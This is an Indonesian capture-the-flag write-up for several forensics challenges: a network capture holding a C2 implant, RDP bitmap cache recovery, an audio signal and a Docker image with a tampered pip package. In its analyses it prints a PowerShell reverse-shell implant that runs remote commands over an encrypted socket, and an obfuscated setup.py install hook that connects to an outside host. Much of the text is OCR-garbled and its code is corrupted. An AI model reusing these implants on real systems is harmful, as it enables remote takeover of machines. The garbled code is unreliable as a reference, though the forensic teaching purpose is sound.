Write-Up Qualification Round CBD 2025
Eternlty

Morre
yang maen cbd para sepuh wakﬁ

tipsen < Csul &
when ya bs pwn @mirai

Mamo &
sepuh semua ngeri wok

eternlty @ HCS &
kok ada mas mirai di pwn
kok ada mas mirai di cbd

mirai @Gl &
when ya bisa foren
when ya bisa foren @tipsen

eternity & HCs
bisa tambah lockspill padahal harusnya “ yasudahlah

Rindth
masih belum dapat partinya?

eternlty & Hcs

0 14 /08/2025 05:10:23. Last Modification Time: 14/08/2005 051224

baru nemu habis end

wkwk




Eternity

Daftar Isi

Daftar Isi 2
FORENSIC 3
Stolen Data
Flag: CBD{bz_c2_ with_encrypted_traffic_d34da5} 3
Hidden Sight
Flag: CBD{1_dOnT_wH4t_I_44mm_do1nGg_19Nik1j4} 11
Can You Hear It?
Flag: CBD{trdnsm1ss10n_c4rr13r_n01se_c2m96e} 13
Data Insights
Flag:
CBD{apa_persamaan_tango_sama_docker_image?_sama_sama_berlapis_lapis_xixixi_f
00c3a} 14
[BONUS] LockSpill
Flag: CBD{wh4t_15_Th1s_V4uLt_n1j1k4a_k3ePpass_8h17d1} 18
WEB 21
Racing
Flag: CBD{nOt_f@5t_EnOugH_to_50Lv3 Th15_ Ch4IL_Ni1j1k44} 21

Part of HCS @



Eternity

FORENSIC

Stolen Data

Flag: CBD{bz_c2_with_encrypted_traffic_d34da5}

Deskripsi

During routine monitoring, unusual network activity was observed. A capture of the traffic
was saved for analysis to determine what data may have been exfiltrated.

Author: b133dz

Informasi Terkait Soal

network-log.pcap

A network-log.pc a] £ Wireshark - Protocol Hierarchy Statistics - network-log.pc..  — O
file Edit View Go Capture Analyze Statistics Telephony Wireless
Protocol  Percent Packets Details
ADA© m A QReEaEFIHE E Q ~ Frame X g linux\home!etern1 ty\ctficbd-25\for\stolen_data\network-
~ Ethernet X log.pcapng
b i 98-+ ~ Internet Protocol Version 6 X 3 Length: 2283 kB
Source Destination ¥ MEREE D O i 2 2 Hash (SHA256): 30862a8282d9713b1312e4d07cch5418cIbaabB6a5d000afacd49
199.232.150.172 Transport Layer Security X bf26b0b755d
10.0.2.15 penetbotccolyersend ; Hash (SHAT):  497018a748a7276e608513bbd86dde00342chch4
3 0213883 2se172 100215 ” O] Format " Wireshart/X~ peaprg
oo A deeads NefBOS Neme Senice - el Bt
6 0.408260 10.0.2.15 199.232.150.172
7 ©.432911 199.232.150.172 10.0.2.15 Dot -
8 0.486836 199.232.150.172 ~ Transmission Control Protocol - First packet:
9 0.585524 .232.150. 10.0.2.15 Transport Layer Security Last packet:
; . ~ Hypertext Transfer Protocol
10 6.627967 .0.2. 199.232.150.172 Ewh
11 1.005062 .0.2. 199.232.150.172 CLESE AL IS ¢
12 1.005270 199.232.150.172 10.0.2.15 podElves
13 1.248664 199.232.150.172 10.0.2.15 it
12 1.289494 10.0.2.15 199.232.150.172 pata Hardware:  QEMU Virtual CPU version 2.5+
15 1.324915 199.232.150.172 10.0.2.15 R si=clibcnRbtoce) g 0s: 64-bit Windows 10 (22H2), build 19045
16 1.376715 10.0.2.15 199.232.150.172 Application:  Dumpcap (Wireshark) 4.4.8 (v4.4.8-0-g0d289c003bfb)
17 2.016028 10.0.2.15 199.232.150.172
18 2.016245 199.232.150.172 10.0.2.15 Interfaces
19 2.218581 199.232.150.172 10.0.2.15
20 2.263419 10.0.2.15 199.232.150.172 Interface Dropped Capture filter  Link type Packet size fimit
21 2.346792 199.232.150.172 10.0.2.15 | padkets (snaplen)
22 2.389108 10.0.2.15 199.232.150.172 | Ethernet 0(0.0%) none Ethernet 262144 bytes
23 3.018026 10.0.2.15 199.232.150.172 Instance 0
24 3.018282 199.232.150.172 10.0.2.15

filter ... <Ctrl

D¢ Name Syst
omain Name System .

Capture

> | | statistics
Frame 1: 492 bytes on wire (39 52 55 @a 00 02 62 52 54 & " ¢ Captued —
Ethernet II, Src: 52:54:00:12: 01 de cf ad 40 00 80 06 Measurement Laptured Displaved "
Internet Protocol Version 4, S 96 ac c6 91 00 50 af 18 Packets 2811 2811 (100.0%)
b i ntrol Protocol, fa fo d2 95 00 00 47 45 Time span, s 83096 83.096

74 72 65 61 6d 69 6e 67 ivereoe rs 338 328

36 Cs (B W &7 25 D Average packet size, 778 778

61 38 37 2d 34 65 66 63 5

3
36 31 66 33 37 37 61 37 Bytes 2188166 2188166 (100.0%)

Average bytes/s 26k
Averagebits/s 210k 210k

35 35 36 30 36 39 33 31
50 33 3d 32 26 50 34 3d
70 64 43 54 39 25 32 66
32 35 36 77 35 6e 71 52
57 43 70 74 72 25 32 62
38 77.39. 77 25 3 66 64 ¥

“
No display fiter: < »

< ol
® B rnetwork-log.pcapng Packets: 2811 Profile: Default

Protocols * Refresh  [Edit Comments = Close | Copy To Clipboard Help

Pendekatan

Kalau kita follow tcp stream 0, bakal ada traffic terkait file
38cla34b-ca87-4efc-8643-1f61f377a7e4?P1=1755606931&P2=404&P3=2&P4=ESOeg
Wz9pdCT9%2f90xtpiep256w5ngRIMVjjczmWCptr%2b%2bYsOIWBwIOw%2fms5KndbfqE
ultfobfh8aulDrgXeolFg%3d%3d, tcp stream 5 berisi test.mp4, tcp stream 13 berisi
updater.exe, tcp stream 18 berisi banyak str b64. Kita juga bisa export file file ini. Untuk file
38cl... itu terbagi jadi chunk chunk kecil, tapi itu bukan fokus utama kita sekarang. Fokus
utama kita ada di test.mp4 dan updater.exe, karena dua file ini berasal dari 117.53.47.247
dan tentu saja sebuah .exe sudah jadi tanda “sus”.
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£ Wireshark - Export - HTTP object list

Text Filter: Content Type:  All Content-Types *

Packet “ Hostname Content Type Size Filename =
9 msedge.b.tlu.dl.delivery.mp.microsoft.com application/x-chrome-extension 4255 bytes 38c1a34b-ca87-4efc-8643-1f61
15 msedge.b.tlu.dl.delivery.mp.microsoft.com application/x-chrome-extension 1450 bytes 38c1a34b-ca87-4efc -1f61
21 msedge.b.tlu.dl.delivery.mp.microsoft.com application/x-chrome-extension 1777 bytes 38c1a34b-ca87-4efc: -1f61
31 msedge.b.tlu.dl.delivery.mp.microsoft.com application/x-chrome-exte 6088 bytes 38c1a34b-ca87-defc -1f61
39 msedge.b.tlu.dl.delivery.mp.microsoft.com application/x-chrome-extension 2588 bytes 38c1a34b-ca87-4efc: -1f61
364 msedge.b.tlu.dl.delivery.mp.microsoft.com application/x-chrome-extension 9336 38c1a34b-ca87-4efc-8643-1f61
934 117.53.47.247 video/mp4 22 test.mp4

1063 msedge.b.tlu.dl.delivery.mp.microsoft.com application/x-chrome-extension 8038 bytes 38c1a34b-ca87-4efc-8643-1f61
1074 msedge.b.tlu.dl.delivery.mp.microsoft.com application/x-chrome-extension 4955 bytes 38c1a34b-ca87-4efc: -1f61
1092 msedge.b.tlu.dl.delivery.mp.microsoft.com application/x-chrome-extension 8088 bytes 38c1a34b-ca87-4efc -1f61
1108 msedge.b.tlu.dl.delivery.mp.microsoft.com application/x-chrome-extension 5505 bytes 38c1a34b-ca87-4efc: -1f61
1136 sedge.b.tlu. livery.mp.microsoft.com application/x-chrome-extension 4947 bytes 38c1a34b-ca87-4efc: -1f61
1195 msedge.b.tlu. livery.mp.microsoft.com application/x-chrome-extension 7871 bytes 38c1a34b-ca87-4efc -1f61
1222 msedge.b.tlu.dl.delivery.mp.microsoft.com application/x-chrome-exte 5371 bytes 38cla34b-ca87-4efc -1f61
1276 msedge.b.tlu.dl.delivery.mp.microsoft.com application/x-chrome-extension 7688 bytes 38c1a34b-ca87-4efc: -1f61
1332 msedge.b.tlu.dl.delivery. mp.microsoft.com application/x-chrome-extension 4424 bytes 38c1a34b-ca87-4efc-8643-161
1375 117.53.47.247 application/octet-stream 29 kB updater.exe

1446 msedge.b.tlu.dl.delivery. mp.microsoft.com application/x-chrome-extension 5996 bytes 38c1a34b-ca87-4efc: -1f61
1495 msedge.b.tlu.dl.delivery.mp.microsoft.com application/x-chrome-extension 3049 bytes 38c1a34b-ca87-4efc: -1f61
1520 msedge.b.tlu.dl.delivery. mp.microsoft.com application/x-chrome-extension 16 kB 38c1a34b-ca87-4efc: -1f61
1539 msedge.b.tlu.dl.delivery.mp.microsoft.com application/x-chrome-extension 13 kB 38c1a34b-ca87-4defc: -1f61

Untuk test.mp4 sendiri ternyata rickroll (rickroll in 2025 goes crazy %) dan updater.exe
memang sebuah .exe dan saya sempat decompile dan ingin reverse tapi sepertinya rabbit
hole jadi saya cari cara lain. Perlu diingat kalau tcp stream 18 yang berisi banyak str b64
komunikasinya ke port 4444 yang dimana itu bukan port umum dan str b64 tidak bisa
didecode langsung jadi curiganya updater.exe ini yang membuat adanya traffic di stream ini.

Ternyata kalau kita kembali di stream 13 yang berisi traffic updater.exe, ada source code
asli dari updater.exe:

updater.exe

Sserver = "117.53.47.247"
Sport = 4444
SsharedHex =

"9f4c8b2e6a7£1d3b9%ab2c4db5e6£70812alb2c3d4e5£60718293a4b5c6d7e8£90"

function HexToBytes {
param([string] $hex)

if (Shex.Length % 2 -ne 0) { throw "Hex string length must be

Scount Shex.Length / 2
Sbytes New-Object byte[] Scount
for ($1 = 0; $1 -1t Scount; S$Si++) {
Sbytes[$i] = [Convert]::ToByte (Shex.Substring($i*2,2), 16)
}

return Sbytes

HexToBytes S$sharedHex
Ssecret[0..15]
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ShmacKey = S$Ssecret[16.. (Ssecret.Length - 1)]

function Encrypt-Message {

param([string]Splaintext)

SplainBytes = [System.Text.Encoding]::UTF8.GetBytes (Splaintext)

Sblock = 16

Spad = S$block - (SplainBytes.Length % Sblock)

if (Spad -eq 0) { Spad = Sblock }

Spadded = New-Object byte[] (SplainBytes.Length + S$pad)

[Array] ::Copy (SplainBytes, 0, Spadded, 0, SplainBytes.Length)

for ($i = S$plainBytes.Length; $i -1t S$padded.Length; S$i++) {
$padded[$i] = [byte]$pad }

Siv = New-Object byte[] 16

Srng = New-Object
System.Security.Cryptography.RNGCryptoServiceProvider

Srng.GetBytes ($1iv)

Srng.Dispose ()

Saes = New-Object System.Security.Cryptography.AesManaged

Saes.Mode = [System.Security.Cryptography.CipherMode] : :CBC

Saes.Padding = [System.Security.Cryptography.PaddingMode] : :None

Saes.Key = [byte[]]SaesKey

Saes.IV = [byte[]]S$iv

Sencryptor = Saes.CreateEncryptor ()

Sct = Sencryptor.TransformFinalBlock (Spadded, 0, $padded.Length)

Sencryptor.Dispose ()

Saes.Dispose ()

Shmac =
[System.Security.Cryptography.HMACSHA256] : :new ([byte[] ] ShmacKey)

Smac = Shmac.ComputeHash( ($iv + Sct) )

Shmac.Dispose ()

Sblob = ($iv + Sct + Smac)

return [System.Convert]::ToBase64String (Sblob)

function Decrypt-Message {
param([string] Sb64)
Sblob = [System.Convert]::FromBase64String (S$Sb64)
$iv = S$blob[0..15]
Stag = $blob[ (S$blob.Length - 32).. ($blob.Length - 1)]
Sct = Sblob[1l6.. (Sblob.Length - 33)]
Shmac =

[System.Security.Cryptography.HMACSHA256] : :new ([byte[] ] ShmacKey)
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Scalc = $hmac.ComputeHash ( ($iv + Sct) )

Shmac.Dispose ()

if ([System.Convert]::ToBase64String (Scalc) -ne
[System.Convert] ::ToBase64String (Stag)) { throw "HMAC failed" }

Saes = New-Object System.Security.Cryptography.AesManaged

Saes.Mode = [System.Security.Cryptography.CipherMode] : :CBC

Saes.Padding = [System.Security.Cryptography.PaddingMode] : :None

Saes.Key = [byte[]]SaesKey

Saes.IV = [byte[]]$iv

Sdecryptor = Saes.CreateDecryptor ()

Spadded = S$decryptor.TransformFinalBlock ($Sct, 0, Sct.Length)

Sdecryptor.Dispose ()

Saes.Dispose ()

SpadlLen = Spadded[S$Spadded.Length - 1]

SplainLen = S$padded.Length - S$padLen

if (Splainlen -le 0) { return "" }

Splain = New-Object byte[] SplainLen

[Array] ::Copy (Spadded, 0, Splain, 0, SplainLen)

return [System.Text.Encoding]::UTF8.GetString (Splain)

Write-Host "Checking for updates..." -ForegroundColor Yellow
Start-Sleep -Seconds 2

Write—-Host "Downloading update definitions..." -ForegroundColor
Yellow

Start-Sleep -Seconds 2

Write-Host "Installing updates..." -ForegroundColor Yellow

Start-Sleep -Seconds 2

try {

Sclient = New-Object System.Net.Sockets.TcpClient (Sserver, Sport)
Sstream = Sclient.GetStream()
Swriter = New-Object System.IO.StreamWriter (Sstream)
Sreader = New-Object System.IO.StreamReader (Sstream)
Swriter.AutoFlush = S$true
while (Strue) {

Sline = Sreader.ReadLine ()

if ([string]::IsNullOrEmpty($line)) {

break

}

try { $cmd = Decrypt-Message $line } catch { continue }

if (Scmd -eq "exit" -or Scmd -eq "quit") { break }
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try { $out = Invoke-Expression $cmd | Out-String } catch {

$out = "Error: $($_.Exception.Message)" }

if ($Sout -eg "") { Sout = "<no output>" }
Senc = Encrypt-Message S$Sout
Swriter.WritelLine ($Senc)

}

Swriter.Close ()

Sreader.Close ()

Sclient.Close ()

} catch {}

Write-Host "Update failed..." -ForegroundColor Red

Jadi asumsi kalau updater.exe itu yang membuat adanya traffic str b64 tadi ternyata benar
misal kita lihat fungsi Encrypt-Message, jadi updater.exe ini singkatnya membuat revshell
ke suatu C2 server.

$sharedHex =
"9f4c8b2e6a7f1d3b9%ab2c4d5e6£70812a1b2c3d4e5£60718293a4b5c6d7e8£90"
HexToBytes S$sharedHex
Ssecret[0..15]
Ssecret[16.. (Ssecret.Length - 1)]

Kita pun mendapat key untuk enkripsinya, jadi dari sini kita bisa buat script untuk
melakukan dekripsi ke semua str b64 yang kita dapat dari stream 18 tadi.

Solusi

solver.py

from Crypto.Cipher import AES
from Crypto.Hash import HMAC, SHA256

import base64

shared hex =
"9f4c8b2e6a7£1d3b9%ab2c4db5e6£70812alb2c3d4e5£60718293a4b5c6d7e8£90"
bytes.fromhex (shared hex)
secret[:16]

secret[16:]

UFE1SUDzZPVPMFoGUChV/z3xDHzXmQgKc+GyyGVzo0H11k6WLOXX1eTrA7PRL5ANnYHaueX
4AH7ws8bhIc2f8fEA==
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06xIYV09Jtdayw68707koCw+lgiivXo5+azZs2WsJbp9U65uWlwnTRho7¢cDFPTcUOzZWg3S
CqUy4jX0ktoioM5XSA/57DSg07nRY6SZ/3RMgWTOSNngj1U+PHb870zD0zgPNINVP5gZos
MR1W13cGRO4DCSOjXcLcj1lIJ/1CRDzjgAmfe2ENpXwNRPzdjoJ1Lih1NEXkRheU2TI+gjm
ESM11XDw/4U3Sv3ay7d80ONvHIK04zDMEnffiglOPCIGM/SJIsgXugg2YOor5tm8KluscgR
fWUJBDUOALS51gfB6kDgo+tmxg4ci3m4gInxXmTQAeYmH] 7KydnnosdT+IExg5BA+0HZO0KS
B9sweyuYdAjB8eor037QWoomSzb0yupZkCUSKfjJdb3KZzLcIfA0zM38rsIriKLKZ5JL/H
b/yYcpmhjH80ALRS5cqgyaxstFCpjkgqT5H8IrDcbyPn2yJ1 IIMVPdZ0FY8yPPTqJRtYOR61
gM+3uluclH/z8n6DI3omn3z4A/191RRW]Ix6IvIEIJLYyp7X63kKtA6Ti+TNKUQ4Mnnnsz/
TiHyZLgQjTVp52H1gpFv/vOohRcUzeHCE3wTOKgpRSDLRGKKQAuB7wC4J7+wh2adPzGQ1
duhW2b439DExnX+A27 ) TwvMQz41Wg3ftgup48yEivAYDvd]j8xySarNlwMWycIc7hN8QBe
8DgDFgljyEOHGM2KinbAJkge0oEkOxJYkQx0okQx35nXBxpS5FrZYbjVQRGYGsSBBb2N3roS
Ng90SYRK6LGxFK4BgVeltEA/3UtBsNNg09P0o1DsgIFrPzC6xUyRRjuuXL3/41V3i8NhQ7
ec2jjEvdYVRw8YbsRes/WagGozDWKwGjnVuhYW3gFWNKofHxIpzygOb0f1YKTf5rVtw3x
OuNegy6B6AmM5/ql2M325WDMpV3uleltsdRijmrc92t)9UeXHwbrIsp]jOMG2gt2g8crZziSu
9zV5eJeXVe6D7/FnwlwZBLIRQpd5IbKwbI9BJIS5A1x0O5TfwyA+uh4LMgItpF8m0sYVhgoQao
NpQwlHzDc3GzBU6erLN50gaT0Trm] kQURmM/ uxZ5Xgwyygbt 9fFn5H1 yi xBrBmGRgqOgvKK
136u45JVEIntaxOMR1IP+3UwO0YPKCrHPmamW2Hh8f266MtP6xG+g51d1lE2Gm+sqg0fZxsQn
ik1fDecG05uz3nh9HUs0ddqg/7aRgNn9Zbglo9IYQ7ecCACFtt6J4gYsQFHQTIom+ulc5X0v
k/NDhNfjcwmOPbOVK4AuTgPzT1DnzI0kotwxbOQ
NnWYIYnClKprZz4/4Vk4aRsYBDKjshy0li/fpg+tm+dBISFSk4u8Nez7k+QN0a2XUgbs587/
L1PwCVfm61Hz48/dg==
gVDSUOST6KCsExb6zKk3etuW/NK8jaYHjZTEXDHOQ1UShnPOFgZcwARbqu4 AMmKECXvrb
F2pphTVgy59c0b0uDWJVP3Hk1+Cd+HFU/PDcDU=
dTIVUSYRgnAAv1yOlHkx/O0QPin7hMmJQQSehHeX+8zE9YSCKrOck2/mKQl jezpbxjpSB
U58MS3XGgogf+R8VQ==

smGxdkdshLOK+n6aPr3+dcdBMv5x1QDgvZRC3WunYR4 f6Nu5zxKbVeINY7rj4/ydWFP T
Qy4kCCkKDwaQx9vLQ==
BrRs8VV+Mxz9w8r+FDfOqgPLML99KkZ8xX/MLo/thmegDTuon7xa6g3RGIA7TK1 /WHIbHN
wnDrK1DViIgohafEw==
RGOTIV/sGIHeeqCPZqQf+SzglTRcedkj2WYSBFRr4pLZRtJ8rN7e/2JXMBpv1N46Ercuw
QB44JbNQF8I9NTSzvPKtogKTk7AntCNzy6FUrTFWZ79R1+yh1GHFCRhzMP2BX5SrP5dsSQ
ZaHKSxNGzXRjSz7qTqlnkNzWCcJIEgO3CtuccWZeTDSQBAht iLE2FV7TgSBYs9/7T3XQIC
+EccnsEFXID+6D4+JWHSpjdj38SHgPEFsNNDAjcUP604+EATPPMGOywi0cXEFNQlek4CAV]) 6
3f1LYdMROKMU6Sf3x5Q2X00JZhQMmMTG7yWqRqtOkcXgAIFDOCQjie+Ph9njdy0tQpQQve
7NblhEgl3KFYVA5QJs=

OMJVI90EQOy61NiocoTOari AMxwuZcNASmirRDUOE70kMPYBBh7022ezIbyE96eYIta8+Y9r
25Lee3MJ7e3FCIXjg==
+rS7102H0rGz0/JK1zeDv0GeAYCcYXPvsT5yS0z1aaGB0pdhJ8m7xFCfCpN1WIpxQ/kHOZ
N/F418v+yGHFVeOyfS5ULVPHTTJhyc9n4GBzZNHZ jK2FEMa /AvAcCI3Lhp9JEGENDRrrIP
7TOMWMXkoO0yBFgqnEzB50xs8Xzp697haVvHQY74aL++bHPgI 9EnZWmHSq/wMTStRvdqn4X2
TVCgygqtk+QHIAXHK066guBgi37fVVLMosx9TnKO96M7CKrDvIW2gII0DI9BCYEO9LKsC7itf
9PALfKLg7A7ugaz993x0KeUehdgr0iN6tOcigcim8JHQRAGS51Toq/xawERbIgbLHFwW7 /V
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xw1YM3WANbpyMAJTsCoOSXEfNmQx/0a937+HRYk2x36ZFUZvM2 /VATuQujTfGsifd/79Z3e
URpJMNrHS5NIVEVTWU/EQ/2sRxbVAX/Klvnxfl+5dJ7U+k6dAHDiIdE40es0letg23DYVU
WHDW4sLJ8fmNtCHva/1WLsf2Q005V5Lrm/256z0/S7b5/LuysOANe9sz9uyH2G/+ZRJIIW
gsut/ShsFuqT00zKKTUXJ7j0dMI95uNZS/k1I0xY9IxbU5x57V1qoz1UsUfaLhW8tVURxH
6393hj29cT0Yemhoryw
wsYcLULgx6bRP4xMHOQseoSXf+pivRZo5ar6£5jy0Y79f/Y0OVzZKRGxXG+Ih021 jbmluGe
hXH1S07CsQFoX1L6g==
t1BIsYYaZvVplEkKBD20oghtKGLYLNntS4Pd+TBKfjrgZQ6QUCHt5nGcIXvO8kNCe780£5P7
miE6Ty4vO] fVxymbg5DAAAYyxYeZs6SQDACHa2kdj 7wroLkOZ/Jv3zmPN/v

mmon

def decrypt (b64 string):
blob = base64.b64decode (b64 string)
iv = blob[:16]
tag = blob[-32:]
ciphertext = blob[16:-32]
hmac = HMAC.new (hmac key, digestmod=SHA256)
hmac.update (iv + ciphertext)
calculated tag = hmac.digest ()
if calculated tag != tag:

return "hmac verification failed"

cipher = AES.new(aes key, AES.MODE CBC, iv)
padded plaintext = cipher.decrypt (ciphertext)
pad len = padded plaintext[-1]
plaintext = padded plaintext[:-pad len]
return plaintext.decode () .strip()
if name == " main ":
messages = [line for line in c2 .strip().split('\n') if line]
for i, message in enumerate (messages) :
dec = decrypt (message)
if i & 2 ==
print (f"[C2 Server -> Malware]: {dec}")
alses

print (f" [Malware -> C2 Server]:\n{dec}\n")
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updat
24 WiresharkPortable64_latest.paf.

notes.txt

[C2 S

[Mal@a1
<no output>

[C2

[Malwar JH

Error: The term 'dor' is not recognized as
ing of the name, if a path was included, ify that the path is co

the name of a cmdlet, function, script file, or operable program. Check the spell
ct and try again.

Malwa

8/13/2025 SB50A 40 flag.txt

> Malware]: type flag.txt
.]:

CBD{bz_c2_with_encrypted_traffic_d34da5}
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Hidden Sight

Flag: CBD{1_dOnT_wH4t_I_44mm_do1lnGg_19Nik1j4}

Deskripsi

Blue Team caught two suspicious files. Help blue team to find out what's actually in that
file. The team said that the file related with cache

Password:
fd9fbac804de39ba121c41173923a86f1702f1¢c290294f3abc2d2544bc9d93ef

Author: Rin4th

Informasi Terkait Soal

Diberikan zip yang berisi 2 file, btr.jpg dan bcache24.bmc (cuma bcache kosong).

btr.jpg

> file btr.jpg
btr.jpg: JPEG image data, baseline, precision 8, 640x333, components 3

> exiftool btr.]jpg

ExifTool Version Number : 13.10

File Name : btr.jpg
Directory A

File Size : 2.9 MB
File Modification Date/Time 1 2025:08:16
File Access Date/Time = 08:17
File Inode Change Date/Time

File Permissions

File Type

File Type Extension

MIME Type

Image Width

Image Height

Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)

e e e

Image Size 1 640x333

Pendekatan & Solusi

Kelihatannya btr.jpg file normal, tapi karena cuma diberikan gambar ini jadi saya langsung
coba foremost:
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> foremost -i

bine;enseless~ge9'

#See]leeLeQLeehDoo

> cd output/zip

> unzip
Archive:
inflatin

Ternyata ada zip yang berisi bin, dan disini binnya besar sizenya (~25 mb), jadi saya coba
research dulu terutama untuk RDP8bmp dan ditemukan writeup ini:
https://medium.com/@chomusuke/wanictf-by-chomusuke-5d2938984bdd

Dari sini kita bisa pakai tool https://github.com/ANSSI-FR/bmc-tools untuk mengekstrak
dan membuat collage dari bitmap cache.

bin -d cache -b
ing a sing
sing a file:
1596 ti su
Successfully

-

SUCC
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Can You Hear It?

Flag: CBD{tr4nsm1ss10n_c4rr13r_n0lse_c2m96e}

Deskripsi
A single burst in the noise, can you hear it?
Author: Cyrus

Informasi Terkait Soal

chall.rf64

> file chall.r

chall.rf64: RIFF (little-endian) data, WAVE audio, mono 48

Pendekatan & Solusi

Tentunya awalnya coba ganti ke .wav dulu, ada audio tapi cuma bentar banget, dibawah 1
detik. Habis google dorking, ketemu lah satu writeup, dan ternyata sama persis dengan
writeup ini: https://ctftime.org/writeup/21662

> sox -t wav chall.wav -esigned-integer -b1l6 -r 22050 -t raw output.raw

> multimen-ng -t raw -a AFSK1200 output.raw
multimon-ng 1.3.1
( Tom Sailer HB AE4WA
Elias Oenal

200 POCSAG2400 FLEX FLEX_NEXT EAS UFSK120@0 CLIPFSK FMSFSK AFSK120@ AFSK2400 AFSK240
ZVEI2 ZVEI3 DZVEI PZVEI EEA EIA CCIR MORSE_CW DUM X1@ SCOPE
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Data Insights

Flag:
CBD{apa_persamaan_tango_sama_docker_image?_sama_sama_berlapis_lapis_xixixi_f00c3a}

Deskripsi

Data Insights, the company’s analytics platform, started acting strangely after a recent
update. The Docker image used in the deployment was preserved for review, and the
incident is under investigation.

Link: https://drive.google.com/file/d/1e1ZjKo89w0t2776yAgsYsDtCZIyOWeOa/view

Password:
6ae92f3ff7a84d64a68ded4c666bcb6b5c1b7b759dc92b3173cbe521da98d89575

Informasi Terkait Soal

Diberikan sebuah tarball yang misal diunzip isinya seperti ini:

3 directories, 29 files

Pendekatan & Solusi
Dari sini terlihat bahwa ini merupakan container forensics, karena untuk struktur diatas ini

dipakai oleh docker, dan kita bisa langsung load tarballnya ke docker pakai docker load.
Kemudian kita bisa docker run dan kita masuk ke imagenya.

rootaa8d’/

app.py
rootmas8’/
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Setelah membaca app.py dan index.html di dalam templates, tidak ada hal yang menarik.
Jadi kita coba saja cari file yang mungkin berisi flag, ternyata ada di /tmp.

oot_, E C app# find / -name "xflag*" 2>/dev/null
/Tmp/deﬂ
'‘python3.12/site-pac pandas/tests/test_flags.py
‘python3. e-package: tests/__pycache__/
i che
.py
nd_flag_tes

/devices/platfulmfserl__

/devices/virtual
/devices/viltL

2d04@f2a@bs15 4a071d030

Dari sini kita mendapat flag dalam bentuk hex yang sepertinya terenkripsi oleh sesuatu.

Jadi dari sini objective berganti ke mencari key untuk mendapatkan flag. Karena setelah

eksplorasi image tidak ada yang menarik, teringat kalau kita diberikan blobs atau history
dari image ini.

> docker history oh-my-flask:latest
IMAGE - CREATED
d < 5 ago /bin/sh
/bin/sh
/bin/sh
/bin/sh
/bin/sh 3 ins o z http..
/bin/sh -c install o-cac ir flask ..
/bin/sh -c apt-get update §& apt-get install..
/bln/sh #(nop) WORKDIR /app
months ag CcMD ) 3 0 buildkit.d
months a RUN / : : AptMark="$(a.. 2.8M buildkit.d
months ag ENV PYTHON_GET_ PIF’ SH? 7 6T 0 buildkit.d
months ag ENV PYTHON_GET_PIP_UR s://github.com/py.. 0 buildkit.
months 2 ENV _PIP_VERSION=24.2 0 buildkit.

m nup CMD ["p\thon " "app.py"]

months ag RUN /bi C <; for src in idl z buildkit.
months as RUN /bi c set <; savedAptMark (a.. 34 buildkit.
months a ENV PYTHON VERSTION=: ; 0 buildkit.
months ag ENV EX= ,159605 1356D054A 821 0 buildkit.

months ag
2 months a
2 months a
months a
months a

[=]

RUN /bi et -eux apt-g at o buildkit.
ENV LAN ¢ buildkit.
ENV P/ Lo /'bin:/ al/sbin:/usr.. 0 buildkit.
/bin/sh - (

/bin/sh -c #(nop) | ile:3d9897cfed c7c.. 74.8MB

a1 Q
(=R =lg=]

[=]

CREATED BY SIZE

/bin/sh--c #(nop) CMD ["python3" "app.py"] @B

/bin/sh--c #(nop) - EXPOSE 5000 0B

/bin/sh.-c #(nop) COPY-dir: 27‘)c1db01.b14LBFbSGG7aeSOea"‘91k537aab364Fc2d5F0312351 2

/bin/sh--c tm -rf /var/lib/apt/Lists/* m data-insights. t

/bin/sh--c wget -0 data-insig - files.phytonh ck /6086a6beBe6e3920a6430e75a84 e463/data_insights-0.1.0. tar.gz &6 pip install data-insights.tar.gz - 1.88MB
/bin/sh--c pip install --no-cac p

/bin/sh--c apt-get update &6 apt-get install -y wget curl = 24.5MB

Disini ada 2 blob yang menarik, yaitu yang pertama mendownload data-insights.tar.gz
kemudian dihapus oleh blob kedua. Misal kita cek manifest.json yang paling cocok
sepertinya blob ini:
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"sha256:8c1dc647ec301fd623986a8231f4c5bffO0fa31a368654f5f824ee25828f03bb": - {
"mediaType": "application/vnd.oci.image.layer.vl.tar",
"size": 2037248,
"digest": "sha256:8cldcb47ec301fd623986aB231f4c5bff@0fa31a368654T5f824ee25828F03bb"

b

Saat kita cek setup.py, ada line b64:

class PyInstall (install):
def run(self):
config =
exec (base64.bb64decode ("aWlwb3JO0IHNVvY2t1dAOKcyA9TITHNVY2t1dC5zb2NrZXQoK0pz
LmNvbm51Y3QoKCcxLjMuMy43JywgNjk20SkpCmOwZW40oJy90bXAvZmxhZy50eHONLCA3Jyk
ud3JpdGUoCiAgICANIy5gb21uKA0gICAgICAgIGYie29yZChjKV5vemQob3BlbignL2VOYy

IveylyZWx1YXN1JykucmVhZGxpbmUoKS5zdHIpcCgpLnNwbG10KCc9JylbLTFAW2kgJSBsZ
W40b3BlbignL2V0Yy9veylyZWx1YXN1JykucmVhZGxpbmUoKS5zdHIpcCgpLnNwbG10KCc9
Jy1bLTFAKVOpOjAyeH01iCiAgICAGICAGZMIYIGks IGMgaW4gZW51bWVyYXR1KHMucmvidig
XxMDIOKS5kZWNvZGUOKSkKICAgICKkKKQpzLmNsb3N1KCkK") )

install.run (self)
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alllwb3J0IHNVY2t1dAoK cyASTHNVY2t1dC52b2NrZXQoKQpz LmMvbm51Y3QoKCexL jMuMy43JywgNj k20SkpCmOwZhao
Jy9ebxavZmxhzy5eeHQnLCd3Jykud3IpdGUoCiAgICANIYSqb21uKAog ICAEICAEIGY1ie29yZChjKVSvemQob3Blbign
L2veYy9gvcy1yZWx1YXN1 JykucmvhZGxpbmUoKS5zdHI pcCgpLnNwbG1eKCc9Jy1bL TFdW2kglSBsZWAob3B1bignlL 2ve
Yy9vcy1yZWx1YXN1 JykucmVhZGxpbmUoKS5zdHIpcCgpLnNwbG18KCc9Iy1bL TFdKVepOjAyeHBiCiAgICAEICASZmIY
IGksIGMgahW4gZW51bWVyYXR1KHMucmVjdigxMDIOKS5kZWNvZGUoKSkKICAEICKKKQpz LmNsb3N1KCkK

aec 448 1 Tr Raw Bytes <4~ LF

Output B |E| 23

import socket

s = socket.socket()
s.connect(('1.3.3.7", 6969))
open( ' /tmp/flag.txt’, 'w').write(
"'.join(
t*{ord(c)*ord(open('/etc/os-release').readline().strip().split( '=")[-1][1 %
len{open( ' /etc/os-release”).readline().strip().split('=")[-1])]):02x}"
for i, ¢ in enumerate(s.recv(1624).decode())
)
)

s.close()

Jadi inilah hal yang melakukan enkripsi ke flag.txt. Disini pun terlihat kalau enkripsi yang
dilakukan yaitu XOR dan untuk keynya berasal dari /etc/os-release, line 1 setelah =. Dari
sini kita bisa langsung dekripsi yang flag pun didapatkan.

NAME="Debian GNU/Linux"
VERSION ID="12"
